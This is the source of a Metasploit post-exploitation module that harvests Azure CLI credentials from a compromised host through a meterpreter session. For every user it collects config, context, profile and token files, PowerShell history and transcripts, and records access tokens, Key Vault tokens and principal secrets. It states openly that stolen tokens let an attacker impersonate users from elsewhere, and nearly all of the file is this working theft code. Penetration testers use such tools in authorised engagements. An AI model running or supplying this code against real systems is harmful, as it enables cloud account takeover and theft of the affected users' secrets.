modules/post/multi/gather/azure_cli_creds.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Unix
include Msf::Post::Windows::UserProfiles
include Msf::Post::Azure
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Azure CLI Credentials Gatherer',
'Description' => %q{
This module will collect the Azure CLI 2.0+ (az cli) settings files
for all users on a given target. These configuration files contain
JWT tokens used to authenticate users and other subscription information.
Once tokens are stolen from one host, they can be used to impersonate
the user from a different host.
},
'License' => MSF_LICENSE,
'Author' => [
'James Otten <jamesotten1[at]gmail.com>', # original author
'h00die' # additions
],
'Platform' => ['win', 'linux', 'osx'],
'SessionTypes' => ['meterpreter'],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
}
)
)
end
def rep_creds(user, pass, type)
create_credential_and_login({
# must have an IP address, can't be a domain...
address: '13.107.246.69', # 'portal.azure.com' https://www.nslookup.io/domains/portal.azure.com/dns-records/ June 24, 2024
port: 443,
protocol: 'tcp',
workspace_id: myworkspace_id,
origin_type: :service,
private_type: :password, # most are actually JWT (cookies?) but thats not an option
private_data: pass,
service_name: "azure: #{type}",
module_fullname: fullname,
username: user,
status: Metasploit::Model::Login::Status::UNTRIED
})
end
def parse_json(data)
data.strip!
# remove BOM, https://www.qvera.com/kb/index.php/2410/csv-file-the-start-the-first-header-column-name-can-remove-this
data.gsub!("\xEF\xBB\xBF", '')
json_blob = nil
begin
json_blob = JSON.parse(data)
rescue ::JSON::ParserError => e
print_error("Unable to parse json blob: #{e}")
end
json_blob
end
def user_dirs
user_dirs = []
if session.platform == 'windows'
grab_user_profiles.each do |profile|
user_dirs.push(profile['ProfileDir'])
end
elsif session.platform == 'linux' || session.platform == 'osx'
user_dirs = enum_user_directories
else
fail_with(Failure::BadConfig, 'Unsupported platform')
end
user_dirs
end
def get_az_version
command = 'az --version'
command = "powershell.exe #{command}" if session.platform == 'windows'
version_output = cmd_exec(command, 60)
# https://rubular.com/r/IKvnY4f15Rfujx
version_output.match(/azure-cli\s+\(?([\d.]+)\)?/)
end
def run
version = get_az_version
if version.nil?
print_status('Unable to determine az cli version')
else
print_status("az cli version: #{version[1]}")
end
profile_table = Rex::Text::Table.new(
'Header' => 'Subscriptions',
'Indent' => 1,
'Columns' => ['Account Name', 'Username', 'Cloud Name']
)
tokens_table = Rex::Text::Table.new(
'Header' => 'Tokens',
'Indent' => 1,
'Columns' => ['Source', 'Username', 'Count']
)
context_table = Rex::Text::Table.new(
'Header' => 'Context',
'Indent' => 1,
'Columns' => ['Username', 'Account Type', 'Access Token', 'Graph Access Token', 'MS Graph Access Token', 'Key Vault Token', 'Principal Secret']
)
user_dirs.map do |user_directory|
vprint_status("Looking for az cli data in #{user_directory}")
# leaving all these as lists for consistency and future expansion
# ini file content, not json.
vprint_status(' Checking for config files')
%w[.azure/config].each do |file_location|
possible_location = ::File.join(user_directory, file_location)
next unless exists?(possible_location)
# we would prefer readable?, but windows doesn't support it, so avoiding
# an extra code branch, just handle read errors later on
data = read_file(possible_location)
next unless data
# https://stackoverflow.com/a/16088751/22814155 no ini ctype
loot = store_loot 'azure.config.ini', 'text/plain', session, data, file_location, 'Azure CLI Config'
print_good " #{file_location} stored in #{loot}"
end
vprint_status(' Checking for context files')
%w[.azure/AzureRmContext.json].each do |file_location|
possible_location = ::File.join(user_directory, file_location)
next unless exists?(possible_location)
data = read_file(possible_location)
next unless data
loot = store_loot 'azure.context.json', 'text/json', session, data, file_location, 'Azure CLI Context'
print_good " #{file_location} stored in #{loot}"
data = parse_json(data)
next if data.nil?
results = process_context_contents(data)
results.each do |result|
context_table << result
next if result[0].blank?
next unless framework.db.active
rep_creds(result[0], result[2], 'Access Token') unless result[2].blank?
rep_creds(result[0], result[3], 'Graph Access Token') unless result[3].blank?
rep_creds(result[0], result[4], 'MS Graph Access Token') unless result[4].blank?
rep_creds(result[0], result[5], 'Key Vault Token') unless result[5].blank?
rep_creds(result[0], result[6], 'Principal Secret') unless result[6].blank?
end
end
vprint_status(' Checking for profile files')
%w[.azure/azureProfile.json].each do |file_location|
possible_location = ::File.join(user_directory, file_location)
next unless exists?(possible_location)
data = read_file(possible_location)
next unless data
loot = store_loot 'azure.profile.json', 'text/json', session, data, file_location, 'Azure CLI Profile'
print_good " #{file_location} stored in #{loot}"
data = parse_json(data)
next if data.nil?
results = process_profile_file(data)
results.each do |result|
profile_table << result
end
end
%w[.azure/accessTokens.json].each do |file_location|
possible_location = ::File.join(user_directory, file_location)
next unless exists?(possible_location)
data = read_file(possible_location)
next unless data
loot = store_loot 'azure.token.json', 'text/json', session, data, file_location, 'Azure CLI Tokens'
print_good " #{file_location} stored in #{loot}"
results = process_tokens_file(data)
results.each do |result|
tokens_table << result
end
end
# windows only
next unless session.platform == 'windows'
vprint_status(' Checking for console history files')
%w[AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt].each do |file_location|
possible_location = ::File.join(user_directory, file_location)
next unless exists?(possible_location)
data = read_file(possible_location)
next unless data
loot = store_loot 'azure.console_history.txt', 'text/plain', session, data, possible_location, 'Azure CLI Profile'
print_good " #{possible_location} stored in #{loot}"
results = print_consolehost_history(data)
results.each do |result|
print_good(result)
end
end
# https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.host/start-transcript?view=powershell-7.4#description
vprint_status(' Checking for powershell transcript files')
# Post failed: Rex::Post::Meterpreter::RequestError stdapi_fs_ls: Operation failed: Access is denied.
begin
files = dir("#{user_directory}/Documents")
rescue Rex::Post::Meterpreter::RequestError
files = []
end
files.each do |file_name|
next unless file_name =~ /PowerShell_transcript\.[\w_]+\.[^.]+\.\d+\.txt/
possible_location = "#{user_directory}/Documents/#{file_name}"
data = read_file(possible_location)
next unless data
loot = store_loot 'azure.transcript.txt', 'text/plain', session, data, possible_location, 'Powershell Transcript'
print_good " #{possible_location} stored in #{loot}"
results = print_consolehost_history(data)
results.each do |result|
print_good(result)
end
end
end
print_good(profile_table.to_s) unless profile_table.rows.empty?
print_good(tokens_table.to_s) unless tokens_table.rows.empty?
print_good(context_table.to_s) unless context_table.rows.empty?
end
end